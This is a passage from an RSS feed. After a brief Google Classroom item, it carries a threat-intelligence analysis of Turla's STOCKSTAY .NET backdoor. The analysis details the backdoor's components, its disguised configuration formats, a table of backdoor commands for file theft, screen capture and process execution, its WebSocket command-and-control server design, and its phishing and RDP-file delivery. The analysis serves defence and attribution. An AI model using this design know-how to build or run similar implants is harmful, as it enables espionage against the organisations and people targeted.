higher-grade learners, and localized publisher titles like Turma da Mônica in Brazil. </li><li><b>Multilingual support: </b>For students learning English, the reading buddy can provide real-time support in both English and their native language so they can practice their vocabulary. Native language support is available in Spanish, Portuguese, Urdu, Arabic, Indonesian, and Malay.</li><li><b>Story creation with Gemini: </b>With help from Gemini, educators can create differentiated reading activities tailored to phonics skills needing practice, specific topics, and reading levels.</li><li><b>Existing content: </b>Add existing class content to better tailor real-time student support and insights with Read Along.</li></ul></div><div>Advanced analytics, like viewing student’s progress over time or across assignments and the ability to extract data via BigQuery, are only available with Education Plus and Teaching &amp; Learning add-on.</div><h3>Getting started</h3><div><ul><li><b>Admins:</b> Read Along will be available by default and can be disabled at the domain and OU level. It can be enabled at the group level even if it is disabled at the OU level. Visit the Help Center to <a href="https://knowledge.workspace.google.com/admin/users/access/turn-read-along-on-or-off-for-users" target="_blank">learn more about turning Read Along on or off for users</a>.</li><li><b>End users: </b>Visit the Help Center to <a href="https://support.google.com/edu/classroom/answer/14174515" target="_blank">learn more about Read Along in Classroom</a>.</li></ul></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Rolling out now, with expected completion by July 3, 2026 </li></ul></div><h3>Availability</h3><div><ul><li><b>Education: </b>Education Fundamentals, Standard, and Plus</li><li><b>Education Add-ons: </b>Google AI Pro for Education; Teaching and Learning; Endpoint Education</li><li><b>Other Editions:</b> Nonprofits</li></ul></div><h3>Resources</h3><div><ul><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/admin/users/access/turn-read-along-on-or-off-for-users" target="_blank">Turn Read Along on or off for users</a></li><li>Google Classroom Help: <a href="https://support.google.com/edu/classroom/answer/14174515" target="_blank">Read Along in Google Classroom</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[STOCKSTAY Another Day: The Latest Addition to Turla’s Intelligence Gathering Apparatus]]></title>
<description><![CDATA[Written by: Jordan Jones

Introduction 
Google Threat Intelligence Group (GTIG) has conducted an in-depth analysis of a .NET backdoor, tracked as STOCKSTAY, that has been continually developed and deployed by the Russia-linked threat actor Turla (aka SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-01...]]></description>
<link>https://tsecurity.de/de/3624817/it-security-nachrichten/stockstay-another-day-the-latest-addition-to-turlas-intelligence-gathering-apparatus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624817/it-security-nachrichten/stockstay-another-day-the-latest-addition-to-turlas-intelligence-gathering-apparatus/</guid>
<pubDate>Thu, 25 Jun 2026 16:09:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jordan Jones</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>Google Threat Intelligence Group (GTIG) has conducted an in-depth analysis of a .NET backdoor, tracked as STOCKSTAY, that has been continually developed and deployed by the Russia-linked threat actor Turla (aka SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-0194) since at least December 2022. Turla has deployed STOCKSTAY against government and military organizations in Ukraine, as well as entities with an interest in Italian foreign policy. Used for ongoing cyber espionage, this backdoor shares significant code and functional overlaps with KAZUAR, a successful toolkit previously attributed to Turla. The group has a long history of targeting a wide range of industries, with a particular focus on western Ministries of Foreign Affairs, and defense organizations within the context of heightened political tensions. </span></p>
<p><span>Turla, and specifically their longstanding Snake implant, has been publicly </span><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a" rel="noopener" target="_blank"><span>attributed</span></a><span> by the United States Cybersecurity and Infrastructure Security Agency (CISA) to Center 16 of Russia’s Federal Security Service (FSB). Turla is one of the oldest known cyber espionage groups with suspected activity dating back to </span><a href="https://unit42.paloaltonetworks.com/turla-pensive-ursa-threat-assessment/" rel="noopener" target="_blank"><span>at least 2004</span></a><span>. The actor remains active and continues to evolve its delivery methods, as demonstrated by its </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger/"><span>deployment of specialized scripts</span></a><span> to intercept secure communications from Signal Messenger users, its </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/turla-galaxy-opportunity/"><span>hijacking of legacy criminal botnets</span></a><span> to target Ukrainian organizations, and its </span><a href="https://www.microsoft.com/en-us/security/blog/2026/05/14/kazuar-anatomy-of-a-nation-state-botnet/" rel="noopener" target="_blank"><span>recent campaigns</span></a><span> targeting military defense sectors using the highly sophisticated KAZUAR toolkit. As part of our continued tracking of this group, this blog post provides an overview of our STOCKSTAY analysis, includes a timeline of key developmental and operational observations, and examines its similarities to KAZUAR to contextualize this new capability within Turla’s ever-growing arsenal.</span></p>
<h3><span>STOCKSTAY Overview</span></h3>
<p><span>STOCKSTAY is a multi-component backdoor written in .NET, using the Windows Forms framework, which communicates with its command and control (C2) via a secure WebSocket connection, utilizing the open-source </span><a href="https://github.com/sta/websocket-sharp" rel="noopener" target="_blank"><span>websocket-sharp</span></a><span> library. STOCKSTAY consists of several distinct components that communicate with one another via an inter-process communication (IPC) channel, based on the exchange of </span><a href="https://learn.microsoft.com/en-us/windows/win32/dataxchg/wm-copydata" rel="noopener" target="_blank"><span>WM_COPYDATA</span></a><span> messages. </span></p>
<p><span>STOCKSTAY was originally designed to masquerade as a stock market data viewing tool, incorporating this disguise in both its file naming scheme and its storage of implant configuration, control messages, and response data. While initial versions of the malware observed by GTIG retained the internal aspects of this disguise, in 2025 we identified variants of STOCKSTAY masquerading as other benign applications, such as PDF viewers and calculator utilities.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig1.max-1000x1000.png" alt="Overview of STOCKSTAY malware architecture">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="nw27v">Figure 1: Overview of STOCKSTAY malware architecture</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>STOCKSTAY.STOCKBROKER</span></h4>
<p><span>STOCKSTAY.STOCKBROKER is a proxy-aware tunneler which provides network communication capabilities to the wider STOCKSTAY ecosystem. STOCKSTAY.STOCKBROKER, internally referred to as "</span><code>net</code><span>", can be instructed to establish a secure WebSocket connection to a specified remote server, after which it acts as a relay between the server and the STOCKSTAY.STOCKMARKET orchestrator. As a result, all C2 communication between STOCKSTAY and the configured C2 server are handled by STOCKSTAY.STOCKBROKER, isolating the malware’s network communications from other malicious host-based activity on the infected machine. </span></p>
<h4><span>STOCKSTAY.STOCKMARKET</span></h4>
<p><span>STOCKSTAY.STOCKMARKET, internally referred to as “</span><code>cor</code><span>”, is the orchestrator of the STOCKSTAY ecosystem, and enables the implant’s configurability. The malware’s configuration is loaded from an encrypted on-disk configuration file which specifies several options regarding the malware’s execution, including the details of the remote WebSocket server required by STOCKSTAY.STOCKBROKER. The configuration file attempts to disguise itself as a legitimate file by including various legitimate URLs associated with cryptocurrency markets, as well as falsified descriptions of each configuration field (Figure 2). Encrypted configuration data is embedded within the decoy fields, which is decrypted by STOCKSTAY.STOCKMARKET.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>{
  "Name": "StockMarket",
  "Description": "An application for getting information about current events on trading platforms. To set the time for updating information, enter a value in minutes in the `Interval` field. In the future, support for themes will be added. The `SystemConfiguration` field stores the system settings of the application. In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`.",
  "Theme": "Dark",
  "SystemConfiguration": [
    "1D.AA.79.9F.45.AA.04.B3.&lt;snipped&gt;.68.0A.5D.A3.E6.A3.82.FA",
    "6F.41.4D.6D.C3.20.E5.32.&lt;snipped&gt;.00.B8.26.DF.E1.13.0A.21",
    "4.4.3.12"
  ],
  "Interval": 10,
  "Services": [
    "wss://ws-api.binance.com:443/ws-api/v3",
    "wss://ws-feed.exchange.coinbase.com",
    "wss://ws-feed-public.sandbox.exchange.coinbase.com",
    "wss://stream.bybit.com/v5/public/spot",
    "wss://stream.bybit.com/v5/public/linear"
  ],
  "Version": "2022-12-21"
}</code></pre>
<p><span><span>Figure 2: Encrypted STOCKSTAY configuration file format, falsely describing itself as an application for trading information</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>{
  "internal_id": "&lt;server_identifier&gt;",
  "internal_key": "&lt;server_public_key&gt;",
  "interval_engine": "600000",
  "level_info": "0",
  "time_scale": "1",
  "span_min": "9",
  "span_max": "18",
  "rate": "2700",
  "rate_control": "false",
  "service": "&lt;websocket_c2_url&gt;",
  "days_not_work": "Saturday;Sunday;",
  "system_properties": "eyJzeXN0ZW1fZGF0YV9zaXplIjoiNDAwMDAwIn0="
}</code></pre>
<p><span><span>Figure 3: Decrypted STOCKSTAY configuration file format (extracted from </span><code>SystemConfiguration</code><span> field)</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>STOCKSTAY.STOCKMARKET communicates with STOCKSTAY.STOCKBROKER in order to provide details of the WebSocket server, and to subsequently send and receive messages via the established WebSocket connection, usually containing the results of executed commands. STOCKSTAY.STOCKMARKET also communicates with the STOCKSTAY.STOCKTRADER component in order to issue commands to be executed on the infected host.</span></p>
<p><span>On first execution, STOCKSTAY.STOCKMARKET generates a unique 4096-bit RSA key pair, to be used throughout the implant’s lifecycle to encrypt outbound data prior to being sent via WebSocket. The implant’s public key is sent to the server in the malware’s first request, to enable the server to decrypt task responses. STOCKSTAY.STOCKMARKET also generates a unique infection identifier to be used by the C2 server to determine the intended receiver of tasking. STOCKSTAY’s configuration file specifies an </span><span>“</span><code>internal_id</code><span>” field, which GTIG assesses represents an identifier for the server-side component of the malware ecosystem. We assess that this identifier is used by the malware’s operators to retrieve responses from interim C2 servers which may be used by multiple operators. To date, GTIG has observed only a single unique value for this identifier and is unable to determine whether multiple operators are leveraging STOCKSTAY at this time due to insufficient telemetry.</span></p>
<h4><span>STOCKSTAY.STOCKTRADER</span></h4>
<p><span>STOCKSTAY.STOCKTRADER, internally referred to as “</span><code>sys</code><span>”, is the backdoor component of the STOCKSTAY ecosystem, and supports a range of registry, file, and command execution operations on the infected host, as detailed in Table 1.</span></p></div>
<div class="block-paragraph_advanced"><div align="center">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><span>Task Command Name</span></p>
</th>
<th scope="col">
<p><span>Description</span></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><code>Del</code></p>
</td>
<td>
<p><span>Delete the specified files.</span></p>
<p><span>Requires a semi-colon-separated list of file paths, each of which will be deleted. Confirmation of each deleted file, or deletion failure, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Dir</code></p>
</td>
<td>
<p><span>Generate a listing of the specified directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be enumerated with the paths of all contained files and subdirectories being returned to the C2.</span></p>
<p><span>Optionally performs recursive directory listing.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Get</code></p>
</td>
<td>
<p><span>Retrieve one or more specified files. Allows for collection of files with specific extensions.</span></p>
<p><span>Requires a semi-colon-separated list of file or directory paths, and a list of target file extensions. If a file path is included in the list, this file will be returned. If instead a directory path is included in the list, the malware will perform an optionally recursive search of the directory to identify any files matching the target file extensions. </span></p>
<p><span>All files matching either the specified file paths, or the target file extensions, will be added to an in-memory ZIP archive and subsequently base64-encoded for transmission to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Image</code></p>
</td>
<td>
<p><span>Perform a screen-capture of the victim’s screen.</span></p>
<p><span>The resultant image is base64-encoded for transmission to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>MkDir</code></p>
</td>
<td>
<p><span>Create one or more directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be created. Confirmation of each created directory, or any resultant error, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>MultyTask</code></p>
</td>
<td>
<p><span>Process multiple tasks at once.</span></p>
<p><span>Requires a semi-colon-separated list of tasks, each of which must be a serialized JSON object containing an individual task.</span></p>
<p><span>Each task is submitted to the malware’s command-manager in-turn, with all command output being discarded; no data is returned to the C2 when processing multiple tasks at once.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Put</code></p>
</td>
<td>
<p><span>Upload a file to the device.</span></p>
<p><span>Requires a base64-encoded string representation of the file content to be written to the specified filepath. The required file write operation is performed in “Append” mode.</span></p>
<p><span>Confirmation of file upload, or details of any relevant error, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegDelete</code></p>
</td>
<td>
<p><span>Delete a registry value.</span></p>
<p><span>Requires a registry key and corresponding value name to delete.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegRead</code></p>
</td>
<td>
<p><span>Read a registry value.</span></p>
<p><span>Requires a registry key and corresponding value name to read.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegWrite</code></p>
</td>
<td>
<p><span>Set a registry value. </span></p>
<p><span>Requires a registry key and corresponding value name, as well as the value and data type used to populate the registry value. </span></p>
</td>
</tr>
<tr>
<td>
<p><code>RmDir</code></p>
</td>
<td>
<p><span>Delete the specified directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be deleted. Confirmation of each deleted directory, or deletion failure, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Run</code></p>
</td>
<td>
<p><span>Execute a new process.</span></p>
<p><span>Requires a path to the file to execute and its corresponding arguments. A default timeout of 60 seconds is hard-coded into the malware, however this can be overridden by the task configuration.</span></p>
<p><span>All subprocesses are created windowless with redirected stdout.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Sysinfo</code></p>
</td>
<td>
<p><span>Conduct a system survey to gather key information about the infected host.</span></p>
<p><span>Operating system information is collected via the Windows Management Instrumentation (WMI) ManagementObjectSearcher, specifically the following fields:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>OSVersion</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Architecture</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>SerialNumber</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>CodeSet</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>CountryCode</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Locale</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>InstallDate</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>BootupTime</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MachineName</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>SystemDirectory</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>LocalTime</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>AnsiCodePage</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>UserName</span></p>
</li>
</ul>
<p><span>With respect to hardware, WMI is queried for the following:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>ProcessorName</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>NumberCores</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>ClockSpeed</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MemoryCapacity</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MemoryType</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>DiskModel </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>DiskSize</span></p>
</li>
</ul>
<p><span>The malware also captures a list of the names of running processes.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>UnpackArchive</code></p>
</td>
<td>
<p><span>Extract the specified ZIP file to its current directory.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 1: Backdoor commands supported by STOCKSTAY.STOCKTRADER</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>Related Downloaders and Installers</span></h4>
<h5><span>STOCKSTAY.MARKETMAKER</span></h5>
<p><span>STOCKSTAY.MARKETMAKER is a proxy-aware downloader written in .NET using the Windows Forms framework that downloads and extracts additional payloads from a remote server, establishes persistence through Windows registry modifications, and runs silently in the background with no user interface. This downloader has been observed masquerading as "MicrosoftUpdateOneDrive" to appear legitimate while setting up multiple autorun entries to execute the core components of STOCKSTAY.</span></p>
<h5><span>.NET AppDomainManager</span></h5>
<p><span>During our analysis, GTIG identified what we believe to be an early development sample of STOCKSTAY.MARKETMAKER which, instead of downloading the required components, was dependent on external mechanisms (such as </span><a href="https://attack.mitre.org/techniques/T1574/014/" rel="noopener" target="_blank"><span>.NET AppDomainManager injection</span></a><span>) for the initial deployment of samples to the target host.</span></p>
<h4><span>STOCKSTAY Server-Side Controller</span></h4>
<p><span>GTIG identified a publicly accessible GitHub repository containing a Python implementation of the victim-facing STOCKSTAY WebSocket server controller. The lightweight design of the server component appears to supplement the threat actor’s usage of third-party hosting platforms such as </span><a href="https://render.com/" rel="noopener" target="_blank"><span>Render</span></a><span> platform which provides a platform for hosting web services, including </span><a href="https://render.com/docs/websocket" rel="noopener" target="_blank"><span>WebSockets</span></a><span>. The inability for the server to decrypt inbound messages prevents introspection by platform operators, and further obfuscates the location of the threat actor’s dedicated infrastructure. This architecture somewhat resembles Turla’s multi-hop KAZUAR C2 infrastructure.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig4.max-1000x1000.png" alt="Overview of STOCKSTAY C2 Infrastructure">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="s9mt0">Figure 4: Overview of STOCKSTAY C2 Infrastructure</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The server extends </span><code>tornado.websocket.WebSocketHandler</code><span> to provide the interface described in Table 2, under the path </span><code>/ws</code><span>; aligning with all observed STOCKSTAY WebSocket C2 URLs.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong><span>Event</span></strong></p>
</td>
<td>
<p><strong><span>Description</span></strong></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.check_origin" rel="noopener" target="_blank"><span>WebSocketHandler.check_origin</span></a></p>
</td>
<td>
<p><span>Hard-coded to return True to </span><span>accept all cross-origin traffic.</span></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.open" rel="noopener" target="_blank"><span>WebSocketHandler.open</span></a></p>
</td>
<td>
<p><span>Logs the client’s IP address using the following string format:</span></p>
<p><code>WebSocket open. IP: {client_ip}</code></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.on_message" rel="noopener" target="_blank"><span>WebSocketHandler.on_message</span></a></p>
</td>
<td>
<p><span>Handles inbound messages from the connected client.</span></p>
<p><span>Inbound messages are base64-decoded before being parsed as JSON into an object internally known as a “package”.</span></p>
<p><span>Each “package” contains an “action” and a “container”, which provide the request’s type and associated data, respectively. The following describes the handling logic of each action type.</span></p>
<p><strong>Action: </strong><strong>send</strong></p>
<p><span>The server extracts the following attributes from the inbound message’s “container” and inserts them into a new row within the local </span><code>weather_data</code><span> database table.</span></p>
<p><code>container.target</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>The STOCKSTAY client populates this field with the </span><code>internal_id</code><span> or </span><code>i_id</code><span> field from the config file.</span></p>
</li>
</ul>
<p><code>container.sender</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>The STOCKSTAY client populates this field with the unique client uuid generated on first execution.</span></p>
</li>
</ul>
<p><code>container.message</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>This field contains the encrypted message body in a format referred to within the STOCKSTAY client as “CryptoContainer”. </span></p>
</li>
</ul>
<p><span>On completion, the server logs the following message:</span></p>
<p><code>Action: send; trgt={target_id}; sndr={sender_id}</code></p>
<p><strong>Action: </strong><strong>recv</strong></p>
<p><span>Inbound </span><code>recv</code><span> requests simply specify the </span><code>container.sender</code><span> attribute, which corresponds with the client’s unique identifier.</span></p>
<p><span>The server then retrieves all messages from the </span><code>weather_data</code><span> database table where the target identifier (“degrees” column) matches the specified </span><code>container.sender</code><span>. This has the effect of allowing the client to retrieve all messages intended for it, such as those sent to the server by an upstream C2 controller.</span></p>
<p><span>Each matching row is returned to the client in the following format, before being deleted from the database.<br><br></span></p>
<pre class="language-plain"><code>{
	"target": degrees,
	"sender": pressure,
	"message": wdata,
	"ip": coords,
	"time": datetime
}</code></pre>
<p><span>On completion, the server logs the following message:</span></p>
<p><code>Action: recv; sndr={sender}</code></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.on_close" rel="noopener" target="_blank"><span>WebSocketHandler.on_close</span></a></p>
</td>
<td>
<p><span>Logs the client’s IP address using the following string format:</span></p>
<p><code>WebSocket close. IP: {client_ip}</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 2: Overview of STOCKSTAY WebSocket Server Interface</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>Database Structure</span></h4>
<p><span>The server maintains a local SQLite3 database under the filename </span><code>weather_data1.db</code><span>, structured as shown in Tables 3 and 4.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Column</strong></p>
</th>
<th scope="col">
<p><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><code>id</code></p>
</td>
<td>
<p><span>Primary key</span></p>
</td>
</tr>
<tr>
<td>
<p><code>degrees</code></p>
</td>
<td>
<p><span>Recipient's UUID from </span><code>container.target</code></p>
</td>
</tr>
<tr>
<td>
<p><code>pressure</code></p>
</td>
<td>
<p><span>Sender's UUID from </span><code>container.sender</code></p>
</td>
</tr>
<tr>
<td>
<p><code>wdata</code></p>
</td>
<td>
<p><span>Message data from </span><code>container.message</code></p>
</td>
</tr>
<tr>
<td>
<p><code>coords</code></p>
</td>
<td>
<p><span>Sender's IP address, extracted from </span><code>X-Forwarded-For</code><span> header, or </span><code>none_ip</code><span> if no sender specified.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>status</code></p>
</td>
<td>
<p><span>Defaults to 0 - doesn't appear to be used or returned to the client.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>datetime</code></p>
</td>
<td>
<p><span>Time of row creation</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 3: </span><code>weather_data</code><span> database table structure</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Column</strong></p>
</th>
<th scope="col">
<p><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><code>id</code></p>
</td>
<td>
<p><span>Primary key</span></p>
</td>
</tr>
<tr>
<td>
<p><code>data</code></p>
</td>
<td>
<p><span>Log message</span></p>
</td>
</tr>
<tr>
<td>
<p><code>datetime</code></p>
</td>
<td>
<p><span>Time of creation</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 4: </span><code>log</code><span> database table structure</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Key Operational Characteristics</span></h3>
<h4><span>Consistent Use of Academic or Diplomatic Lure Content</span></h4>
<p><span>The threat actor(s) involved in STOCKSTAY operations appear to have an affinity for integrating academia and diplomacy into their infrastructure and lure/decoy content, including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>compromising an email account belonging to a Ukrainian university to disseminate phishing emails;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using the names of an academic institution within the file name of a malicious RDP file;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>compromising a diplomatic education platform for phishing and distribution of malicious RDP files;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using “education” and “diplo” within registered phishing domains; and</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using “DiplomacyEduAI” as the product name within STOCKSTAY MSI files.</span></p>
</li>
</ul>
<h4><span>Persistent Ukrainian Targeting</span></h4>
<p><span>A significant proportion of STOCKSTAY operations observed by GTIG have been targeted at Government or Military organizations within Ukraine, consistent with Russian interests in relation to the ongoing conflict between the two countries. The threat actor has been observed utilizing in-country compromised infrastructure, including compromised government services, to deploy both STOCKSTAY and a range of supplementary payloads, in support of these operations. </span></p>
<h4><span>Suspected European Targeting</span></h4>
<p><span>A smaller number of STOCKSTAY operations observed by GTIG appear to have been targeted at European entities. Early development samples of STOCKSTAY were identified in various European nations, including Italy, the Netherlands, Poland, and Germany; however, we have been largely unable to confirm the intended victims for the majority of these early infections, nor whether these samples were identified as a result of the threat actor testing their capabilities against publicly available virus scanning services such as VirusTotal. GTIG was able to identify, in at least one case, the targeting of entities associated with, or interested in, a foreign affairs ministry in Europe in relation to phishing and suspected STOCKSTAY activity. </span></p>
<h4><span>Deployment via Malicious RDP Files</span></h4>
<p><span>GTIG observed STOCKSTAY being deployed following successful phishing attempts using malicious RDP configuration files. The RDP files were designed to create a connection from the victim’s device to actor-controlled infrastructure, through which the actor could then deploy subsequent payloads.</span></p>
<p><span>In one operation in early 2025, GTIG identified a phishing email, claiming to be sent by a defense-related training academy, containing a malicious RDP file attachment. A short time following the victim’s connection to the actor’s infrastructure, the actor deployed STOCKSTAY.MARKETMAKER, a .NET downloader designed to retrieve and install the full STOCKSTAY suite on the victim’s device. </span></p>
<p><span>Later, in mid-2025, GTIG identified similar malicious RDP files being hosted on a compromised diplomatic-themed education platform, luring victims into downloading and executing the file under the guise of enabling access to an online training portal. GTIG was unable to confirm whether STOCKSTAY was ultimately deployed as a result of this operation; however, overlaps in the actor’s infrastructure and education-themed lures for both operations may suggest STOCKSTAY was the intended payload. </span></p>
<h4><span>Deployments at Multiple Stages of Operations</span></h4>
<p><span>Through GTIG’s visibility, we have identified that the threat actor uses STOCKSTAY at multiple distinct stages of their operations. </span></p>
<p><span>In the first instance, the threat actor uses STOCKSTAY during operations to gain initial access into environments which haven’t yet been subject to the group’s reconnaissance activities. In these instances, STOCKSTAY is configured with hard-coded configuration passwords, which can be trivially extracted by analysts. We observed this type of infection stemming from the group’s phishing operations, where the threat actor is unable to determine exactly where in the victim’s network they are going to gain their initial foothold.</span></p>
<p><span>When the threat actor deploys STOCKSTAY at a later stage of operation, following reconnaissance, STOCKSTAY is configured to incorporate environmental keying for its configuration, requiring the malware to be executed either on a specific host, by a specific user, within a specific domain, or a pre-determined combination of the these attributes. This configuration implies that, at this stage, the actor knows exactly which machine is being targeted, likely through existing accesses to the target environment. This was seen within Ukrainian networks where STOCKSTAY was deployed toward the end of an operation which had previously relied heavily on the group’s other tools, such as KAZUAR. </span></p>
<h3><span>Overlaps with KAZUAR</span></h3>
<h4><span>K1MORPHER String Obfuscation</span></h4>
<p><span>In April 2025, GTIG observed STOCKSTAY being updated to implement a new string obfuscation mechanism, based around an obscure pseudo-random number generation algorithm named “Squirrel3”, which was </span><a href="https://www.gdcvault.com/play/1024365/Math-for-Game-Programmers-Noise" rel="noopener" target="_blank"><span>presented</span></a><span> at Game Developers Conference 2017. </span></p>
<p><span>GTIG later identified versions of STOCKSTAY containing some of their original class-names, which showed the code responsible for runtime string deobfuscation being contained within a class named “K1.Morpher”. Analysis of K1MORPHER shows the ability to perform runtime deobfuscation of a range of datatypes, such as strings, integers, and arrays. </span></p>
